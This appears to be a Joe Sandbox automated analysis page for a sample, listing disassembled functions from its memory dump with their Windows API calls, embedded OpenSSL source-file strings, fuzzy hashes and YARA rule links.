Instruction ID: 6d7bbee565b804ef5c5651854c4c7ed35f10f6610650d262485d95e9d7846903
Opcode Fuzzy Hash: 9698853d0f9c2d16c04a69b15d03f070bceff3b9c1bc64cca1af473340633cd1
Instruction Fuzzy Hash: 7FF0903880020EFA8B00EAA5ED85C9D776CD9003A0B704171B82495CA1EF74FA79C9D4

Function 10082430 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(10067974,?,?,10067974,?,?), ref: 10082438
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,OPENSSL_finish), ref: 10082448
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,OPENSSL_finish), ref: 10082462
ReleaseSemaphore.KERNEL32(0001AE54,4C8B08C4,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,OPENSSL_finish), ref: 1008246E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CriticalSection$Leave$EnterReleaseSemaphore
String ID:
API String ID: 2813224205-0
Opcode ID: 185cf752fde06116586bac38392c9abe8f2e1e8e2f3e6025818803915fde8191
Instruction ID: da206afb06d10e23ce18933c028242eb11ace693ef75e1e4beb1b6ec3a8a6ae1
Opcode Fuzzy Hash: 185cf752fde06116586bac38392c9abe8f2e1e8e2f3e6025818803915fde8191
Instruction Fuzzy Hash: 03E0AC39104614DFC7315F55EC4CA47BBB4FFC9321F11841EE59A82621CB71A8468F90

Function 1006EF90 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006EFD5

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

Strings

crypto\init.c, xrefs: 1006EFC3
OPENSSL_init_crypto, xrefs: 1006EFB9

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireExclusiveLock__fprintf_l
String ID: OPENSSL_init_crypto$crypto\init.c
API String ID: 3216713783-71836078
Opcode ID: 709ec0d44a041b350691c9566e56e801d15d5ff30c3ff2b3791573d4fb42a515
Instruction ID: 7b2c55f7c9552469294594b068a3c84009d4e00aefcb1f5d8fd8481f77736973
Opcode Fuzzy Hash: 709ec0d44a041b350691c9566e56e801d15d5ff30c3ff2b3791573d4fb42a515
Instruction Fuzzy Hash: 26A10A76A6022B97DB00CF34DC42BF526C3EB99790F541638F858D61A2FF15E904EA63

Function 101D25F0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101D26F2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101D274B

Strings

recovered %d pages from %s, xrefs: 101D293A

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: recovered %d pages from %s
API String ID: 885266447-1623757624
Opcode ID: c259efc8749f0647432c798f1962606b435e9555dfa73728e170b16868ac011d
Instruction ID: 2c79d88db2ef76b2d12ec2f824a985e6acb2363144298a397ff04e39c877621f
Opcode Fuzzy Hash: c259efc8749f0647432c798f1962606b435e9555dfa73728e170b16868ac011d
Instruction Fuzzy Hash: 13B19E75A04352AFC715CE64C984BAAB7E4FF656A4F420628FC64A7300E328FD15DBD2

Function 1008F7E0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

ASN1_item_ex_i2d, xrefs: 1008F86F, 1008F8BF
crypto\asn1\tasn_enc.c, xrefs: 1008F876

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: ASN1_item_ex_i2d$crypto\asn1\tasn_enc.c
API String ID: 0-2263488131
Opcode ID: 72cd25fdcc12e86050583d54bad0609c064093af88224b053cdedf8f8f8fc446
Instruction ID: 59382d4ca19f387a67588affea79982e4a5c90fa1fa235ef5a85795432fdaaed
Opcode Fuzzy Hash: 72cd25fdcc12e86050583d54bad0609c064093af88224b053cdedf8f8f8fc446
Instruction Fuzzy Hash: 3D912A75A04301BBC700DA64DC41F7B77D8FF853B4F50062EFAA982191E73AE95587A2

Function 10090070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 298COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100903D2

Strings

asn1_template_ex_i2d, xrefs: 10090234, 1009030B, 100903B5
crypto\asn1\tasn_enc.c, xrefs: 100903BF

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: asn1_template_ex_i2d$crypto\asn1\tasn_enc.c
API String ID: 3906573944-2314050132
Opcode ID: 29d355d0976b1197b8a627a8e3bca8f59437b9437feb38e283bb2643f79c2ffb
Instruction ID: 506e83246801c7fe78529ebabbe7a2803c6fd03a2acca66412190b2898094b80
Opcode Fuzzy Hash: 29d355d0976b1197b8a627a8e3bca8f59437b9437feb38e283bb2643f79c2ffb
Instruction Fuzzy Hash: FAA104719083019FD300CB64CC41B5FBBE9EFC53A4F144A2DF9A9922E2E635E945A752

Function 1005F840 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 211COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005F896

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

Part of subcall function 10067340: ReleaseSRWLockExclusive.KERNEL32(?,1007AC0F,?,?,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067352

Strings

crypto\provider_core.c, xrefs: 1005F884
get_provider_store, xrefs: 1005F87A

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Lock$AcquireExclusiveReleaseShared__fprintf_l
String ID: crypto\provider_core.c$get_provider_store
API String ID: 1789333368-1804035588
Opcode ID: 9781019819de3f2c219bcb4c17a315c1e4f0e6c48c09a300ea236614af4e164f
Instruction ID: 1a544ab4be782b63babb8bf7946ced4b910ed7989361d67234664437e98b8191
Opcode Fuzzy Hash: 9781019819de3f2c219bcb4c17a315c1e4f0e6c48c09a300ea236614af4e164f
Instruction Fuzzy Hash: D251B4B5904702ABD700DE60AC42B6BB799EF00354F040638FD1996193FB6AFA1C86D3

Function 1008FE70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,0000000C,100903F0,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1008FF65
memmove.VCRUNTIME140(?,?,00000004), ref: 1008FF8F

Strings

crypto\asn1\tasn_enc.c, xrefs: 1008FEAF, 1008FED6, 1008FFF4, 10090004

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmoveqsort
String ID: crypto\asn1\tasn_enc.c
API String ID: 252073326-2200013178
Opcode ID: e0f7c8990ef7ef8ed98999ee784de6e1d6c690be8eda68e3353e02ccc07551d6
Instruction ID: df020bb5765086647c56b509003d1356caf0293445745bc0ddc55107532414e2
Opcode Fuzzy Hash: e0f7c8990ef7ef8ed98999ee784de6e1d6c690be8eda68e3353e02ccc07551d6
Instruction Fuzzy Hash: 5851C579904306AFD300DB24DC81E9FB7DAFF85394F50092AFA5496212F735FA158BA2

Function 10083480 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10083677

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

Strings

get_and_lock, xrefs: 1008365D
crypto\ex_data.c, xrefs: 10083548, 10083632, 10083664

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireLockShared__fprintf_l
String ID: crypto\ex_data.c$get_and_lock
API String ID: 2043504311-4055479251
Opcode ID: ced34ecab0f22242bf7694254b820ffddd18ce93871a47610cf5bd9e3d3f6a2b
Instruction ID: 1dea28807977d90cb9c3d16d50583e6d8d0bf3853ce7eb676f715e8a46b0ffbb
Opcode Fuzzy Hash: ced34ecab0f22242bf7694254b820ffddd18ce93871a47610cf5bd9e3d3f6a2b
Instruction Fuzzy Hash: 3A51CF75904305AFC750DF58D842A1BBBE4FF88754F41892AF88897322FB35E9248B92

Function 1007B0F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

Strings

engine_table_register, xrefs: 1007B2C5
crypto\user\eng_table.c, xrefs: 1007B1B9, 1007B29E, 1007B2B0, 1007B2CF

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireExclusiveLock
String ID: crypto\user\eng_table.c$user_table_register
API String ID: 4021432409-2774506317
Opcode ID: d3c38ee78ec561bf4fc7c2e43d10c870f9f92ba3d59ab4fe88bfe3fc3b945660
Instruction ID: f730892fb0107cad929941b96a6df935f3498c733cd8c846f7fb3a6b7ec73e17
Opcode Fuzzy Hash: d3c38ee78ec561bf4fc7c2e43d10c870f9f92ba3d59ab4fe88bfe3fc3b945660
Instruction Fuzzy Hash: 3141C578901705ABDB10DB14DC42F4F3BE5EF01394F018824FA8996253FB7AF919CA6A

Function 10068240 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125COMMON

Download Yara Rule

Strings

crypto\bio\bio_lib.c, xrefs: 10068343
BIO_ctrl, xrefs: 10068339

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: BIO_ctrl$crypto\bio\bio_lib.c
API String ID: 0-1930067870
Opcode ID: 0b21b4e4892acb4e45073520c282f819c8011caa8be5c64f261fc11cfa81b67c
Instruction ID: 90875bd3b636d204e77e3a17650da92c5ab219ad332b10a17d4ad1c14f992f5f
Opcode Fuzzy Hash: 0b21b4e4892acb4e45073520c282f819c8011caa8be5c64f261fc11cfa81b67c
Instruction Fuzzy Hash: 7E31D2B1744702AFE224CB09CC41F6BB3E9EF857A4F10461DFA59972C0D775BA008765

Function 10060790 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100607EF

Strings

crypto\provider_core.c, xrefs: 100607DD
get_provider_store, xrefs: 100607D3

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\provider_core.c$get_provider_store
API String ID: 3906573944-1804035588
Opcode ID: 436e76320a69db8b240becde96342d14a59ea3066bc9ca36d88e1bce78771c83
Instruction ID: c6f06608167a8a911d016046d14aa2ebad6798de108e4cc8171124e9c4d74085
Opcode Fuzzy Hash: 436e76320a69db8b240becde96342d14a59ea3066bc9ca36d88e1bce78771c83
Instruction Fuzzy Hash: 5931C379944346AFC600DF24DC01B5BB6E6FF50354F004A3CF8A952262EB36FA58CAD2

Function 1005D230 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

RAND_bytes_ex, xrefs: 1005D26B
crypto\rand\rand_lib.c, xrefs: 1005D275

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: RAND_bytes_ex$crypto\rand\rand_lib.c
API String ID: 0-3968469746
Opcode ID: 483435ae9daf0f8cf8aef6b01213269b179f5ef42a2c57337bae1cc2cd452ed9
Instruction ID: cb09985f155bf2bab5612a94e0ae949ce41903a83d970e46a7f04705e925163c
Opcode Fuzzy Hash: 483435ae9daf0f8cf8aef6b01213269b179f5ef42a2c57337bae1cc2cd452ed9
Instruction Fuzzy Hash: 0C212C36B4431536E270F6647C43F9B2388DF41BA1F010627FD58BA2C2F955F95A81E6

Function 1014BC00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

crypto\x509\x_name.c, xrefs: 1014BC24, 1014BCBC, 1014BCE3, 1014BD00
X509_NAME_print, xrefs: 1014BCD9

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: X509_NAME_print$crypto\x509\x_name.c
API String ID: 0-1638314198
Opcode ID: 277136e178874afb57296cc93b9ca074dc36ca1219dfbb37e75c980918d30fe9
Instruction ID: fb3491ce2f5902ce3cc86bfe48e7255a624d27b184f5a26e9fb7b34d80d0acb5
Opcode Fuzzy Hash: 277136e178874afb57296cc93b9ca074dc36ca1219dfbb37e75c980918d30fe9
Instruction Fuzzy Hash: D9217D79E4438A39E71187607DC2BAB3A8DEB51398F210535F9CDD40A3EB8DB9498352

Function 1008C490 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,1008A0F8,?), ref: 1008C4E6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?), ref: 1008C536

Strings

users\e_capi.c, xrefs: 1008C4C0, 1008C4F7, 1008C516, 1008C545, 1008C555

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: users\e_capi.c
API String ID: 626452242-2638333933
Opcode ID: ac0f51f8632411e21faeafc1d5c013b303b9ede0798d5a127029147f713ad446
Instruction ID: 4cbaba03f42feaf414d4a06911ef36f719b4a04b669ace603f57170bc1a1b307
Opcode Fuzzy Hash: ac0f51f8632411e21faeafc1d5c013b303b9ede0798d5a127029147f713ad446
Instruction Fuzzy Hash: C5218C76BC130432F22071A62D47FBB6358DB81F67F144613F705BA1C2DBD2B5010164

Function 1005D460 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

Part of subcall function 10067340: ReleaseSRWLockExclusive.KERNEL32(?,1007AC0F,?,?,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067352

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

__fprintf_l.LIBCMT ref: 1005D536

Part of subcall function 10067340: ReleaseSRWLockShared.KERNEL32(?,1007AC0F,?,?,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 1006735E

Strings

crypto\rand\rand_lib.c, xrefs: 1005D523
RAND_get0_primary, xrefs: 1005D519

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Lock$AcquireExclusiveReleaseShared$__fprintf_l
String ID: RAND_get0_primary$crypto\rand\rand_lib.c
API String ID: 3812524005-4002407760
Opcode ID: abf2ff9ceb97f25e175a231f98df468441ac04907d72793da72bf71803091130
Instruction ID: 41efde23dced19384ecdc2d2c65fa30da9fa308dfb325635311617844f2292d3
Opcode Fuzzy Hash: abf2ff9ceb97f25e175a231f98df468441ac04907d72793da72bf71803091130
Instruction Fuzzy Hash: 5E214CBAA0030167E620FA55AC43F1B32D1EF80658F04443BF94D65253FB66F8599653

Function 100974C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1009756A

Strings

pkey_set_type, xrefs: 1009754E
crypto\evp\p_lib.c, xrefs: 10097558

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\p_lib.c$pkey_set_type
API String ID: 3906573944-1336405191
Opcode ID: 2c7809648301a96a96b9cc7521f9faab0feed3d78b450eefec24c4960e235b4f
Instruction ID: bf165e5fe252b7c92d66ad8af92bdadd4c602f9930acb2d662cda7846f21c8ce
Opcode Fuzzy Hash: 2c7809648301a96a96b9cc7521f9faab0feed3d78b450eefec24c4960e235b4f
Instruction Fuzzy Hash: AB21AEB6900B429FD760DF54A880A07B7E0FF40790F52892EF5CD52611E771F8449A52

Function 100BC230 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

Strings

crypto\asn1\tasn_utl.c, xrefs: 100BC2DE
ossl_asn1_do_adb, xrefs: 100BC299, 100BC2D4

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: crypto\asn1\tasn_utl.c$ossl_asn1_do_adb
API String ID: 0-1254107490
Opcode ID: 1172adef33fc077b29deb9d9c3d00ed50d25d7192c69260097ccd0353bc41933
Instruction ID: d7b70ca23080ee0817c541c11ea52efe7ec4fa3b0a19faf2e275ad7cca5970bb
Opcode Fuzzy Hash: 1172adef33fc077b29deb9d9c3d00ed50d25d7192c69260097ccd0353bc41933
Instruction Fuzzy Hash: 0E21DE3934470A5BD714DFA8EC42F9AB3E0FF81750F160529F994E6281D730FC8596A2

Function 10066F10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10066F63

Strings

buf2hexstr_sep, xrefs: 10066F49
crypto\o_str.c, xrefs: 10066F53

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: buf2hexstr_sep$crypto\o_str.c
API String ID: 3906573944-1640101698
Opcode ID: 7609dd8398c9ffadeee783a435fea3d1d48320deced2abbc5fa49d482a445c26
Instruction ID: 72de2e4daebbd837684028c6b10fde262377d452989ecc961a493f1e561d126d
Opcode Fuzzy Hash: 7609dd8398c9ffadeee783a435fea3d1d48320deced2abbc5fa49d482a445c26
Instruction Fuzzy Hash: 31216B7114D3D24AC709CB3499A1BA5BFE0DF07240F0C05DDF4C64F283D626A509DB91

Function 10097780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1009782D

Strings

pkey_set_type, xrefs: 10097811
crypto\evp\p_lib.c, xrefs: 1009781B

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\p_lib.c$pkey_set_type
